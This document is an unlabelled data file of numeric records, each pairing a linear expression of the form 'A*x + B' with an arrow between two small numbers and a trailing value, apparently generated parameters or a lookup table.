62189*x + 3829 82->4 48 9743*x + 6236 92->42 87 19417*x + 5094 54->99 54 17891*x + 4171 43->80 110 6397*x + 6648 32->19 61 44851*x + 1492 84->30 96 44179*x + 6689 67->76 124 61357*x + 583 87->43 105 76421*x + 7179 91->62 103 65413*x + 5876 66->87 121 34061*x + 1929 53->14 77 103951*x + 12548 47->2 72 39821*x + 3777 18->75 56 26893*x + 7380 99->19 61 23761*x + 7322 77->32 69 76667*x + 7699 86->21 9 97859*x + 13123 73->6 123 7027*x + 6186 43->29 38 45869*x + 955 3->39 113 34439*x + 5657 66->33 122 60539*x + 7330 67->4 48 35521*x + 2111 98->11 43 95803*x + 15347 41->10 46 51829*x + 5999 8->67 117 21269*x + 5002 21->44 45 55469*x + 808 72->80 110 96211*x + 13601 63->8 49 5749*x + 1913 0->57 109 659*x + 434 96->37 114 10607*x + 1043 48->91 91 20983*x + 7505 57->93 98 16349*x + 4175 60->91 91 35747*x + 6301 60->50 116 34513*x + 6969 81->45 13 78649*x + 3043 78->6 123 17881*x + 3119 74->27 58 34871*x + 806 41->84 89 3187*x + 1 29->16 66 9749*x + 7436 74->61 10 33811*x + 1488 79->92 51 72797*x + 3955 17->24 65 83231*x + 3039 36->86 53 92723*x + 10439 82->83 12 103837*x + 11079 99->91 91 101939*x + 14910 69->45 13 37547*x + 2960 23->44 45 68813*x + 3183 6->64 70 54829*x + 2718 14->79 100 3677*x + 4069 10->29 38 88499*x + 15378 87->57 109 64781*x + 139 92->29 38 829*x + 580 66->28 50 4679*x + 3212 76->13 99 29021*x + 6912 31->57 109 90499*x + 15310 40->1 112 85147*x + 11296 13->23 11 22651*x + 7692 32->47 90 85201*x + 9308 60->77 106 34259*x + 5008 64->9 115 64513*x + 6378 56->43 105 35081*x + 8120 51->25 52 93281*x + 9111 89->72 92 56417*x + 6123 57->72 92 101483*x + 11721 76->85 83 104723*x + 13902 11->82 40 57727*x + 2045 20->1 112 13693*x + 5295 25->87 121 9281*x + 2000 31->63 60 80819*x + 2890 11->68 36 30553*x + 2066 19->50 116 91997*x + 15682 62->87 121 63629*x + 6248 11->14 77 19259*x + 7473 18->64 70 5869*x + 4278 4->54 94 37*x + 753 7->15 63 37039*x + 1785 37->39 113 45137*x + 7156 46->21 9 56773*x + 7756 81->30 96 42071*x + 5680 72->15 63 1693*x + 223 22->76 124 14341*x + 5890 27->12 101 13007*x + 4204 2->65 95 23593*x + 4530 37->5 82 17099*x + 2813 34->42 87 69019*x + 4948 5->60 85 85199*x + 13033 81->16 66 73237*x + 3910 1->77 106 22039*x + 8037 7->86 53 57389*x + 7194 97->54 94 24247*x + 3634 58->12 101 65111*x + 205 11->64 70 48857*x + 741 78->78 76 80831*x + 2198 6->68 36 79769*x + 7808 89->26 81 45289*x + 6751 34->85 83 24203*x + 2133 63->72 92 31817*x + 4362 2->76 124 52721*x + 603 2->14 77 15731*x + 1804 53->96 67 92503*x + 10419 57->11 43 1019*x + 1589 80->16 66 33211*x + 2773 35->25 52 52963*x + 7697 15->91 91 37123*x + 3800 96->24 65 79537*x + 1836 67->62 103 63331*x + 5554 76->35 88 3767*x + 2413 55->13 99 67307*x + 4386 70->88 71 57791*x + 5359 39->72 92 72551*x + 2226 32->90 86 27509*x + 3316 37->93 98 9643*x + 8056 98->22 64 98663*x + 15294 16->70 57 44207*x + 7637 68->45 13 43781*x + 7723 28->15 63 56543*x + 7886 43->53 120 30113*x + 1704 69->2 72 33119*x + 1425 24->85 83 44741*x + 4802 5->92 51 70181*x + 4123 87->97 108 96851*x + 12382 22->20 62 191*x + 6798 41->68 36 81773*x + 363 19->76 124 79357*x + 2349 23->11 43 15451*x + 6397 14->39 113 1289*x + 3654 53->39 113 48091*x + 3279 85->45 13 34843*x + 4707 13->27 58 32059*x + 284 18->88 71 38783*x + 4080 65->80 110 16927*x + 1757 61->88 71 76961*x + 7116 98->65 95 49433*x + 1354 64->54 94 4229*x + 5805 55->5 82 69997*x + 1479 42->83 12 86861*x + 8732 28->83 12 2861*x + 8091 51->54 94 9403*x + 3444 5->88 71 65203*x + 6597 8->59 84 104537*x + 10101 4->85 83 58657*x + 8102 84->91 91 63809*x + 6516 3->25 52 14563*x + 8164 87->39 113 42467*x + 3309 87->67 117 58237*x + 2565 28->87 121 19181*x + 2589 21->30 96 81401*x + 3445 47->89 107 24121*x + 6037 70->92 51 3251*x + 2319 20->76 124 56149*x + 7277 26->44 45 51383*x + 3314 68->71 37 79817*x + 3339 60->56 119 102929*x + 11558 67->71 37 10193*x + 634 25->58 35 80953*x + 1987 89->15 63 17839*x + 5766 35->67 117 96233*x + 10310 30->13 99 3643*x + 102 51->16 66 20333*x + 8190 37->79 100 41231*x + 5037 57->42 87 22303*x + 2007 27->89 107 5197*x + 524 68->75 56 97001*x + 8419 47->7 126 67619*x + 5663 90->27 58 52127*x + 2211 12->87 121 61031*x + 6258 61->24 65 1627*x + 6536 24->95 111 58151*x + 3523 80->0 33 3049*x + 4807 50->15 63 26713*x + 6273 98->71 37 9719*x + 1899 99->89 107 26627*x + 3057 99->83 12 67853*x + 1659 86->26 81 95131*x + 11911 66->26 81 54539*x + 7573 80->38 75 72617*x + 1726 49->35 88 63149*x + 5357 75->11 43 66239*x + 6442 49->93 98 96769*x + 8983 43->26 81 6373*x + 7572 91->17 104 43891*x + 7714 81->97 108 28409*x + 3069 81->78 76 30341*x + 2194 77->79 100 14387*x + 3610 57->70 57 70061*x + 7988 58->86 53 82183*x + 4404 80->78 76 9551*x + 3519 29->83 12 31907*x + 5034 55->20 62 34511*x + 2060 84->40 34 7621*x + 6859 15->41 73 32309*x + 608 76->33 122 101503*x + 9767 36->7 126 43133*x + 4888 82->21 9 8443*x + 3437 42->13 99 75683*x + 2429 81->25 52 25349*x + 5291 12->8 49 67741*x + 3413 28->19 61 103087*x + 13226 9->12 101 46727*x + 4854 97->42 87 86143*x + 12828 66->59 84 4813*x + 3075 27->59 84 13709*x + 2018 74->15 63 22447*x + 2547 73->38 75 17467*x + 7385 17->47 90 61637*x + 579 92->48 78 7129*x + 4341 77->25 52 12109*x + 7514 57->98 93 93089*x + 10697 70->24 65 17431*x + 2778 38->48 78 37199*x + 2188 82->1 112 61991*x + 5410 35->13 99 21757*x + 598 72->30 96 22679*x + 424 23->23 11 4441*x + 3946 95->16 66 65407*x + 6479 44->6 123 70709*x + 628 82->33 122 32603*x + 862 36->75 56 64217*x + 4050 46->25 52 68351*x + 3823 16->64 70 42577*x + 858 96->87 121 29017*x + 443 65->48 78 42863*x + 5253 34->62 103 16553*x + 4559 49->60 85 12073*x + 5007 26->67 117 47521*x + 7677 29->67 117 40961*x + 6925 56->39 113 91411*x + 8949 11->29 38 86939*x + 14430 4->41 73 41593*x + 2142 90->4 48 81899*x + 8082 75->36 79 99149*x + 14297 41->36 79 18947*x + 1765 84->18 80 67399*x + 4533 54->56 119 86357*x + 16060 83->43 105 19961*x + 6406 70->62 103 7207*x + 5651 38->21 9 99761*x + 12407 36->70 57 53861*x + 4438 97->43 105 11923*x + 3531 64->38 75 32789*x + 6170 5->31 47 36787*x + 5342 88->8 49 38329*x + 70 36->85 83 18679*x + 6439 15->42 87 77521*x + 7636 47->43 105 50969*x + 3916 86->10 46 98713*x + 14515 85->38 75 6679*x + 7849 7->84 89 53891*x + 5161 16->35 88 14561*x + 6754 69->66 44 94343*x + 14233 21->83 12 47533*x + 5457 71->93 98 84211*x + 9343 97->9 115 64613*x + 3506 3->66 44 6053*x + 6095 92->95 111 54409*x + 5941 91->49 68 96331*x + 15183 42->53 120 45523*x + 3054 83->17 104 3259*x + 373 41->26 81 8539*x + 1420 46->29 38 36583*x + 4609 37->77 106 41849*x + 1278 16->61 10 60887*x + 522 78->48 78 7727*x + 4104 38->45 13 87179*x + 9394 28->4 48 80833*x + 7567 24->34 41 26497*x + 8035 70->43 105 79979*x + 7178 33->77 106 58363*x + 7040 52->34 41 13613*x + 5493 88->67 117 18229*x + 6375 88->33 122 70877*x + 7531 97->55 39 10037*x + 2540 41->14 77 421*x + 2220 29->60 85 104113*x + 14362 35->38 75 86579*x + 13920 43->56 119 58727*x + 5750 27->4 48 90583*x + 15712 17->30 96 3821*x + 1260 4->19 61 98179*x + 11958 67->97 108 103171*x + 15144 49->19 61 92957*x + 13959 31->77 106 89459*x + 10130 68->44 45 97501*x + 15511 80->64 70 90203*x + 15302 59->10 46 25243*x + 7383 33->7 126 8821*x + 148 74->46 74 60923*x + 1380 86->30 96 63113*x + 101 48->57 109 99131*x + 14152 14->91 91 6131*x + 7727 39->6 123 77689*x + 7252 65->85 83 40519*x + 6534 95->8 49 39887*x + 8104 25->90 86 40591*x + 1863 61->37 114 101347*x + 11461 42->91 91 90679*x + 12837 0->77 106 21221*x + 1107 83->15 63 859*x + 5719 74->33 122 54449*x + 5494 14->57 109 47251*x + 5544 35->54 94 19183*x + 7206 92->6 123 8209*x + 5431 23->65 95 35591*x + 6611 49->32 69 5153*x + 1644 48->47 90 20707*x + 3651 46->7 126 95261*x + 14466 38->87 121 1459*x + 4125 79->17 104 761*x + 570 62->38 75 69691*x + 5949 91->82 40 100787*x + 8833 12->84 89 27481*x + 8027 75->79 100 18691*x + 2581 49->50 116 48523*x + 2461 18->93 98 54151*x + 4096 63->6 123 6211*x + 4662 11->18 80 2467*x + 5884 27->3 118 41513*x + 1475 98->0 33 69859*x + 3232 29->38 75 90997*x + 11080 66->61 10 102497*x + 12937 26->56 119 77549*x + 7870 77->98 93 94999*x + 8911 71->8 49 31237*x + 7347 78->14 77 97729*x + 13744 12->12 101 62653*x + 6034 96->65 95 52163*x + 340 13->83 12 40471*x + 2346 42->8 49 1297*x + 1740 37->34 41 90989*x + 14196 59->50 116 36607*x + 739 69->70 57 86461*x + 10300 72->40 34 631*x + 3221 58->4 48 95717*x + 8815 95->21 9 9839*x + 4116 48->80 110 22643*x + 3976 27->75 56 6389*x + 7720 59->82 40 18523*x + 3712 64->3 118 43853*x + 3583 67->5 82 26417*x + 975 28->85 83 55609*x + 5515 67->79 100 45673*x + 7607 68->69 59 32533*x + 4526 34->12 101 20507*x + 4821 14->87 121 14149*x + 2335 16->15 63 30649*x + 4043 64->42 87 67021*x + 1448 91->26 81 1979*x + 7485 22->69 59 9733*x + 4141 42->67 117 12781*x + 4784 59->93 98 81373*x + 894 36->60 85 76511*x + 5249 65->37 114 99961*x + 12048 8->15 63 35753*x + 6353 48->41 73 89057*x + 15485 87->50 116 37483*x + 309 79->49 68 103049*x + 9954 94->87 121 83273*x + 204 55->10 46 9341*x + 1053 23->3 118 36011*x + 1183 8->7 126 14593*x + 5205 90->50 116 8627*x + 1596 8->43 105 93383*x + 15175 94->46 74 32749*x + 2272 2->66 44 2719*x + 108 48->32 69 66553*x + 7872 65->25 52 99103*x + 8240 33->76 124 82223*x + 6723 82->71 37 20719*x + 5975 32->61 10 75743*x + 4156 14->53 120 8669*x + 5875 29->15 63 66383*x + 5505 41->25 52 9767*x + 5018 16->93 98 68633*x + 6198 27->94 125 101149*x + 10938 33->85 83 23813*x + 5878 98->1 112 90901*x + 13190 47->5 82 44159*x + 1673 23->12 101 68771*x + 837 25->88 71 43261*x + 7066 52->57 109 82217*x + 2746 66->84 89 69739*x + 2362 44->57 109 94649*x + 12307 69->59 84 85037*x + 16381 31->10 46 38149*x + 4269 90->94 125 39367*x + 7986 54->96 67 29753*x + 1005 44->53 120 82601*x + 3759 19->71 37 94583*x + 12775 98->3 118 17387*x + 4664 1->88 71 81839*x + 4654 53->62 103 55411*x + 802 49->57 109 76519*x + 7492 16->23 11 13763*x + 506 6->65 95 78367*x + 1825 42->86 53 22381*x + 1989 60->8 49 46867*x + 532 37->81 32 97687*x + 10563 80->29 38 8363*x + 1610 84->81 32 53353*x + 8074 55->99 54 57709*x + 5261 27->8 49 59273*x + 3734 12->64 70 44939*x + 2118 73->55 39 39877*x + 7518 97->67 117 24683*x + 2882 40->68 36 48889*x + 4283 42->5 82 5407*x + 4560 5->36 79 98927*x + 14354 39->65 95 25741*x + 5988 3->93 98 12263*x + 466 46->52 42 20981*x + 2293 63->90 86 9739*x + 1011 57->65 95 63601*x + 2973 81->0 33 47623*x + 6393 84->20 62 91757*x + 12877 95->82 40 77621*x + 2378 91->10 46 571*x + 3200 13->60 85 43969*x + 6728 98->66 44 87443*x + 15098 64->89 107 72103*x + 1500 29->88 71 37657*x + 565 76->36 79 67589*x + 3697 2->89 107 52639*x + 5283 35->85 83 53899*x + 3535 24->35 88 42331*x + 1910 48->3 118 48371*x + 416 59->63 60 70379*x + 6684 57->66 44 55117*x + 7519 53->29 38 62581*x + 7317 59->78 76 69709*x + 4761 13->8 49 96457*x + 11559 44->32 69 67733*x + 3839 64->35 88 81031*x + 959 17->11 43 15901*x + 552 14->73 102 76249*x + 5593 96->78 76 81043*x + 6667 31->48 78 91283*x + 11210 81->71 37 65629*x + 1849 24->93 98 66523*x + 7468 98->27 58 28181*x + 1258 19->89 107 6229*x + 1279 97->74 55 64109*x + 2057 75->47 90 3947*x + 6720 94->28 50 61261*x + 8181 48->14 77 67079*x + 7786 66->81 32 50311*x + 638 59->53 120 21611*x + 2876 37->6 123 72869*x + 4448 17->83 12 67579*x + 6652 26->85 83 47501*x + 2047 10->18 80 60413*x + 4695 94->73 102 37747*x + 4291 79->36 79 58189*x + 4405 53->99 54 97259*x + 12521 14->30 96 82207*x + 6093 95->39 113 42899*x + 3114 54->48 78 86381*x + 11445 31->89 107 1381*x + 2796 96->71 37 63697*x + 7971 27->10 46 104003*x + 9430 47->42 87 52837*x + 4996 15->5 82 84787*x + 12935 50->47 90 37309*x + 7909 62->39 113 32413*x + 7210 47->19 61 75169*x + 4028 36->15 63 74131*x + 2096 11->69 59 58511*x + 1485 31->78 76 56113*x + 6627 21->60 85 87649*x + 13134 96->69 59 4951*x + 5167 86->89 107 32633*x + 1335 91->47 90 36587*x + 2445 41->78 76 87583*x + 8567 44->8 49 52489*x + 986 58->5 82 59539*x + 4768 16->10 46 66169*x + 5198 22->68 36 139*x + 293 10->66 44 55621*x + 3065 28->26 81 58897*x + 2107 76->40 34 37337*x + 4085 79->86 53 54497*x + 5539 81->32 69 15667*x + 2827 55->91 91 17863*x + 3004 10->19 61 43777*x + 5355 87->89 107 85751*x + 12289 96->4 48 44263*x + 1322 69->76 124 76123*x + 2650 86->37 114 70913*x + 1302 22->64 70 75017*x + 6031 75->51 97 3559*x + 3463 30->0 33 6673*x + 6317 11->6 123 3407*x + 3129 26->51 97 99347*x + 11663 95->50 116 9629*x + 8004 49->27 58 8677*x + 4797 4->47 90 81671*x + 5218 15->8 49 3301*x + 422 59->54 94 16561*x + 1445 28->37 114 35509*x + 1147 50->31 47 44819*x + 3736 90->63 60 26513*x + 906 8->64 70 31393*x + 6328 31->17 104 5519*x + 151 62->7 126 61129*x + 4475 53->70 57 38333*x + 182 47->0 33 34129*x + 6526 80->28 50 22567*x + 2937 28->56 119 98737*x + 11222 92->44 45 70139*x + 3903 63->45 13 22787*x + 899 79->46 74 15277*x + 2191 99->1 112 99877*x + 10039 32->40 34 77587*x + 4238 7->67 117 33091*x + 5463 2->15 63 44201*x + 6469 89->31 47 72089*x + 2977 14->27 58 46279*x + 6935 86->97 108 92051*x + 8846 44->73 102 34183*x + 7515 55->65 95 57859*x + 6421 60->6 123 33623*x + 4992 86->73 102 76463*x + 7652 71->36 79 95783*x + 8844 71->16 66 24979*x + 329 82->75 56 84631*x + 10175 50->72 92 157*x + 7228 23->60 85 36007*x + 4003 23->67 117 72767*x + 1660 44->61 10 102337*x + 11392 60->24 65 65479*x + 3852 94->21 9 89071*x + 11145 16->57 109 6067*x + 2154 91->66 44 21317*x + 2299 42->30 96 104287*x + 9012 30->48 78 37699*x + 104 6->54 94 100069*x + 9914 86->64 70 71987*x + 5855 98->77 106 35803*x + 4652 9->83 12 2879*x + 803 7->38 75 17333*x + 6262 33->73 102 32537*x + 2927 90->59 84 29303*x + 3598 0->73 102 60733*x + 6371 31->39 113 25939*x + 639 52->40 34 35051*x + 7958 36->52 42 24023*x + 7951 79->19 61 2039*x + 1200 45->35 88 93559*x + 13112 4->50 116 103409*x + 12682 43->73 102 5623*x + 4998 14->83 12 97187*x + 15789 79->88 71 102607*x + 11942 40->0 33 90697*x + 15643 62->35 88 17837*x + 1730 82->47 90 27143*x + 2790 0->26 81 52183*x + 7883 20->35 88 74323*x + 1228 25->96 67 41947*x + 406 71->66 44 61559*x + 1007 34->70 57 73459*x + 3717 0->79 100 87631*x + 11268 44->60 85 82793*x + 207 73->1 112 68659*x + 777 22->17 104 29221*x + 5731 17->82 40 87013*x + 16371 3->94 125 53813*x + 6423 84->69 59 81281*x + 5623 68->54 94 58153*x + 3320 94->66 44 59077*x + 4594 88->98 93 20089*x + 4113 95->20 62 49193*x + 1364 57->87 121 44617*x + 3466 60->32 69 72707*x + 8128 13->53 120 22003*x + 4403 4->16 66 24499*x + 2956 52->74 55 64763*x + 5642 46->3 118 44221*x + 889 27->85 83 50387*x + 3388 39->17 104 62743*x + 6851 43->21 9 90523*x + 8403 69->81 32 10009*x + 1363 7->78 76 36901*x + 5860 33->69 59 45827*x + 5709 52->37 114 8929*x + 4471 84->0 33 3847*x + 3156 42->17 104 24169*x + 6951 95->28 50 45659*x + 7432 48->76 124 24623*x + 2771 4->64 70 12659*x + 1553 37->78 76 58661*x + 388 39->64 70 5867*x + 7661 7->92 51 59809*x + 2483 36->78 76 45197*x + 2 89->14 77 100493*x + 8510 47->69 59 30851*x + 1086 86->32 69 79139*x + 1747 37->44 45 15313*x + 5100 27->38 75 49409*x + 4622 57->14 77 54163*x + 2115 16->9 115 91957*x + 14299 53->1 112 16703*x + 5788 98->98 93 62219*x + 4760 83->96 67 68743*x + 2024 66->21 9 26711*x + 5104 10->78 76 101281*x + 13440 0->71 37 34729*x + 6434 65->27 58 35677*x + 6770 40->16 66 26003*x + 5873 42->80 110 72053*x + 992 8->21 9 93097*x + 11496 51->77 106 85081*x + 9082 94->19 61 21101*x + 3337 42->79 100 15559*x + 231 1->52 42 81611*x + 24 90->71 37 55889*x + 5835 64->99 54 67499*x + 3985 42->60 85 12983*x + 6156 83->90 86 47459*x + 6595 89->42 87 26737*x + 4300 60->81 32 37591*x + 391 92->1 112 3067*x + 8031 58->93 98 39323*x + 4478 67->67 117 95989*x + 15829 24->55 39 95177*x + 12563 92->72 92 64901*x + 7048 9->3 118 90709*x + 16076 18->84 89 21433*x + 4 60->67 117 28603*x + 5613 37->12 101 87961*x + 13452 19->60 85 41443*x + 1282 66->80 110 68399*x + 6290 79->18 80 9437*x + 7511 88->65 95 100291*x + 11513 86->56 119 5783*x + 6643 4->87 121 89477*x + 13082 51->64 70 18313*x + 321 23->68 36 99259*x + 12994 58->40 34 72287*x + 4882 80->6 123 26489*x + 119 28->49 68 73561*x + 2587 97->50 116 25169*x + 5325 82->87 121 99079*x + 13855 9->94 125 8849*x + 3178 46->53 120 42683*x + 4367 18->10 46 90619*x + 12546 95->31 47 233*x + 4795 99->14 77 43399*x + 6240 30->50 116 36083*x + 1023 84->83 12 23971*x + 15 90->37 114 51061*x + 2887 60->31 47 38669*x + 954 93->8 49 72859*x + 4831 91->84 89 60761*x + 3826 27->64 70 78283*x + 2690 7->96 67 69061*x + 1049 75->99 54 27883*x + 4317 77->24 65 41771*x + 7678 1->71 37 4663*x + 6710 82->50 116 88741*x + 11014 14->52 42 83891*x + 6599 8->20 62 75353*x + 680 13->79 100 77069*x + 4395 82->49 68 71419*x + 5013 90->40 34 53923*x + 2326 96->94 125 62627*x + 5540 26->26 81 29401*x + 1358 62->95 111 64633*x + 6296 62->27 58 48409*x + 8145 67->28 50 68207*x + 4400 61->89 107 80789*x + 1867 87->37 114 38167*x + 8083 97->65 95 15199*x + 5187 78->44 45 55333*x + 4147 37->32 69 55457*x + 2026 54->85 83 75983*x + 3503 18->49 68 72101*x + 8158 85->19 61 91237*x + 14235 19->26 81 22669*x + 7379 36->19 61 78653*x + 1403 23->21 9 23021*x + 1602 98->19 61 86729*x + 10883 41->83 12 28813*x + 6451 60->2 72 69127*x + 6732 34->40 34 87911*x + 9469 28->42 87 93187*x + 14919 54->39 113 91151*x + 10559 58->31 47 29761*x + 6886 36->5 82 22157*x + 6312 31->40 34 46723*x + 3665 57->17 104 99707*x + 13912 21->66 44 94207*x + 9600 77->1 112 76039*x + 530 70->93 98 63727*x + 4461 6->80 110 73331*x + 417 9->63 60 99257*x + 9083 89->12 101 99767*x + 10168 42->1 112 35593*x + 5921 86->14 77 61507*x + 7110 11->63 60 1823*x + 7547 73->97 108 33037*x + 6891 79->90 86 30029*x + 2648 78->60 85 55343*x + 3577 60->26 81 10663*x + 11 78->21 9 66161*x + 5759 30->1 112 61121*x + 7999 63->77 106 65651*x + 541 44->21 9 29123*x + 1792 83->46 74 52223*x + 568 85->41 73 61861*x + 5615 24->6 123 17107*x + 5356 29->20 62 41903*x + 6556 49->13 99 8311*x + 1045 19->84 89 96667*x + 15862 83->55 39 93763*x + 8751 81->17 104 102217*x + 8805 91->89 107 64381*x + 7161 12->9 115 97241*x + 14486 55->6 123 56633*x + 6762 50->90 86 104711*x + 9755 62->2 72 73571*x + 1351 54->64 70 8867*x + 1226 89->50 116 57731*x + 2513 28->66 44 101207*x + 13286 37->85 83 99719*x + 11817 11->47 90 22973*x + 1789 82->23 11 65957*x + 5425 57->2 72 7451*x + 707 7->30 96 39199*x + 7782 4->37 114 81077*x + 4144 77->99 54 13487*x + 5712 22->82 40 28123*x + 1718 97->44 45 33029*x + 1732 98->51 97 23041*x + 7479 24->67 117 86323*x + 14030 20->24 65 80317*x + 1312 70->37 114 55787*x + 872 44->43 105 87697*x + 10932 12->92 51 68213*x + 6541 76->1 112 17207*x + 3646 65->13 99 98491*x + 15362 39->68 36 93479*x + 9916 26->66 44 19157*x + 2159 67->94 125 33629*x + 6487 94->13 99 41851*x + 5243 11->22 64 46301*x + 2023 83->52 42 65447*x + 6699 72->27 58 12739*x + 3740 76->63 60 22147*x + 5191 31->74 55 69661*x + 2588 80->26 81 71327*x + 1990 82->16 66 20353*x + 2546 36->69 59 49369*x + 4557 3->76 124 9161*x + 2549 11->99 54 12119*x + 2427 99->7 126 20161*x + 2737 45->2 72 79493*x + 3297 81->19 61 36307*x + 3643 19->7 126 31481*x + 5905 68->42 87 67073*x + 1656 49->56 119 15271*x + 3451 12->53 120 57271*x + 5343 56->2 72 58711*x + 1774 52->96 67 44123*x + 3331 28->8 49 32707*x + 4166 3->32 69 7477*x + 7175 42->48 78 28871*x + 1443 28->53 120 21713*x + 2393 67->32 69 15739*x + 2830 43->40 34 101359*x + 8423 63->37 114 29287*x + 4918 60->86 53 4273*x + 2425 69->37 114 14249*x + 910 23->80 110 83203*x + 3639 97->57 109 85601*x + 12390 53->23 11 41203*x + 609 50->75 56 80387*x + 5470 24->29 38 49711*x + 5301 12->91 91 40847*x + 4682 98->14 77 80929*x + 1636 40->35 88 45767*x + 2421 35->22 64 77419*x + 6374 61->19 61 28837*x + 1550 5->66 44 30169*x + 5545 81->79 100 38053*x + 5208 62->1 112 4129*x + 3435 0->52 42 81973*x + 6869 86->46 74 5413*x + 2786 43->42 87 66529*x + 5464 45->89 107 45403*x + 3019 68->33 122 58199*x + 3966 29->69 59 3607*x + 1223 1->75 56 71089*x + 1643 68->24 65 13147*x + 1788 60->21 9 103681*x + 11670 79->41 73 1259*x + 4500 81->52 42 76651*x + 5703 34->37 114 881*x + 2911 45->73 102 7489*x + 7646 97->29 38 87973*x + 8526 84->63 60 1279*x + 7225 30->59 84 61493*x + 7760 10->93 98 6329*x + 1604 54->60 85 98909*x + 14125 14->97 108 61043*x + 2379 18->59 84 6203*x + 5912 11->5 82 33599*x + 2566 4->69 59 89101*x + 13455 9->75 56 32051*x + 5322 93->97 108 77417*x + 627 96->66 44 22469*x + 3185 76->44 45 62081*x + 3285 73->59 84 20873*x + 316 21->3 118 13649*x + 7102 22->73 102 72019*x + 8028 11->30 96 26947*x + 2626 20->8 49 23293*x + 3325 8->65 95 67411*x + 1464 34->26 81 92317*x + 13146 14->13 99 32869*x + 785 21->27 58 89527*x + 8441 89->36 79 28087*x + 6576 30->19 61 95483*x + 9886 64->83 12 101641*x + 13693 74->25 52 45569*x + 4898 47->71 37 96787*x + 10445 56->6 123 77479*x + 3375 99->78 76 43987*x + 7576 52->50 116 58537*x + 2498 50->66 44 66137*x + 1632 14->36 79 63649*x + 3814 29->1 112 6863*x + 6146 30->42 87 6959*x + 2166 24->87 121 89669*x + 11385 74->58 35 101141*x + 15687 87->77 106 78607*x + 8183 26->18 80 35159*x + 8173 31->56 119 12007*x + 578 18->50 116 90187*x + 10128 44->48 78 31721*x + 4315 75->73 102 99013*x + 12642 88->75 56 48787*x + 7145 32->98 93 32327*x + 972 34->64 70 65647*x + 2851 29->42 87 61153*x + 2585 53->55 39 21121*x + 4393 80->36 79 99487*x + 12844 6->44 45 19009*x + 4839 8->60 85 14423*x + 5616 25->13 99 5503*x + 3293 16->59 84 100379*x + 9578 78->58 35 10211*x + 7818 72->76 124 70309*x + 4547 15->44 45 6779*x + 1603 55->95 111 26423*x + 3951 16->66 44 83341*x + 2036 0->47 90 49741*x + 835 53->56 119 33863*x + 1194 27->68 36 88469*x + 8927 89->6 123 50671*x + 5119 74->17 104 49523*x + 3356 18->80 110 12799*x + 5485 87->55 39 102253*x + 12999 37->38 75 96847*x + 13722 96->30 96 39383*x + 3784 98->46 74 31391*x + 3975 31->51 97 72341*x + 5764 82->42 87 101107*x + 15015 63->11 43 54559*x + 1843 72->97 108 67679*x + 4009 43->92 51 69467*x + 154 1->94 125 101533*x + 15095 77->93 98 11863*x + 3319 25->24 65 58229*x + 7859 0->78 76 75689*x + 4702 63->50 116 91639*x + 10309 3->87 121 1217*x + 989 30->67 117 2281*x + 1097 24->83 12 22501*x + 4815 66->10 46 56857*x + 7131 99->99 54 1531*x + 7207 89->33 122 78173*x + 1292 56->42 87 12647*x + 3416 75->17 104 16073*x + 2318 90->84 89 66949*x + 4836 44->94 125 71147*x + 7019 17->96 67 6659*x + 7898 37->87 121 19991*x + 5535 18->2 72 29063*x + 379 85->6 123 27823*x + 7240 66->15 63 80369*x + 2365 84->41 73 59981*x + 2575 87->4 48 55501*x + 7440 61->28 50 86533*x + 9864 58->79 100 59447*x + 6099 59->5 82 96269*x + 8802 86->57 109 18121*x + 1374 83->48 78 52433*x + 5529 29->9 115 63443*x + 6715 18->87 121 82421*x + 349 84->56 119 22349*x + 2417 63->29 38 93077*x + 11529 67->92 51 99377*x + 10162 86->17 104 71171*x + 6981 74->85 83 94747*x + 10387 70->18 80 46049*x + 7153 18->16 66 41281*x + 2472 66->38 75 81901*x + 8118 40->5 82 79621*x + 1762 34->32 69 5717*x + 4262 48->60 85 11503*x + 5123 74->55 39 38971*x + 7895 24->79 100 66571*x + 4311 36->62 103 65129*x + 465 14->56 119 94351*x + 14709 42->25 52 27043*x + 4944 94->10 46 66499*x + 2998 53->6 123 61511*x + 69 99->50 116 80849*x + 7970 0->55 39 96953*x + 13645 15->26 81 42667*x + 4569 61->76 124 23081*x + 3882 88->34 41 3919*x + 4789 75->89 107 12919*x + 8180 74->88 71 91159*x + 15680 20->83 12 84751*x + 14107 29->76 124 58439*x + 5074 74->99 54 79147*x + 3561 53->98 93 101701*x + 15028 90->53 120 103*x + 3670 80->71 37 20149*x + 7394 77->81 32 41651*x + 4409 1->47 90 9199*x + 3380 84->6 123 34501*x + 7827 16->79 100 4549*x + 5374 72->57 109 40993*x + 5185 71->86 53 50513*x + 7754 90->78 76 92377*x + 16173 33->78 76 54013*x + 1462 9->43 105 45989*x + 5183 59->11 43 47351*x + 6292 32->36 79 20117*x + 2729 33->25 52 70117*x + 2141 34->27 58 43783*x + 2831 6->92 51 41519*x + 7506 52->8 49 22063*x + 6224 51->73 102 15761*x + 2779 50->52 42 97571*x + 10233 99->32 69 43397*x + 6532 0->28 50 86969*x + 11643 83->20 62 44041*x + 6075 4->52 42 307*x + 4611 3->45 13 19609*x + 2653 13->99 54 56131*x + 3431 24->18 80 51197*x + 2383 61->74 55 71023*x + 6646 43->76 124 94687*x + 11592 45->47 90 76387*x + 4995 3->2 72 59009*x + 1087 69->21 9 40949*x + 7292 66->83 12 41621*x + 4686 68->19 61 31277*x + 7030 56->80 110 104179*x + 12687 40->10 46 47737*x + 5227 39->27 58 49957*x + 3742 91->32 69 103811*x + 14171 90->25 52 81559*x + 389 60->57 109 33751*x + 776 1->86 53 82279*x + 600 55->17 104 43481*x + 1352 3->61 10 55987*x + 7590 30->95 111 25343*x + 7155 53->2 72 87407*x + 10967 24->41 73 21673*x + 2509 71->89 107 100393*x + 11177 31->96 67 2789*x + 3284 5->79 100 36847*x + 1525 87->7 126 84761*x + 13108 93->46 74 34421*x + 2247 52->25 52 12689*x + 5815 22->34 41 37321*x + 4470 96->23 11 63467*x + 8109 25->5 82 7351*x + 4026 96->72 92 37993*x + 7358 50->76 124 12241*x + 6485 93->18 80 40169*x + 5128 20->94 125 50753*x + 3896 32->41 73 14747*x + 6274 17->31 47 21617*x + 7076 77->57 109 9419*x + 3997 78->50 116 19471*x + 1411 52->85 83 52529*x + 1783 98->99 54 82373*x + 5870 5->53 120 60383*x + 7852 67->65 95 7507*x + 2636 51->94 125 27407*x + 3362 16->89 107 20231*x + 1933 94->16 66 18743*x + 3136 84->35 88 71537*x + 2698 65->71 37 7229*x + 4991 48->5 82 5333*x + 977 48->17 104 66071*x + 4934 67->87 121 31063*x + 196 4->5 82 47419*x + 5239 96->15 63 71597*x + 993 10->47 90 98317*x + 16302 70->46 74 7121*x + 4223 95->35 88 2063*x + 4306 51->52 42 63103*x + 6635 79->72 92 39251*x + 702 98->29 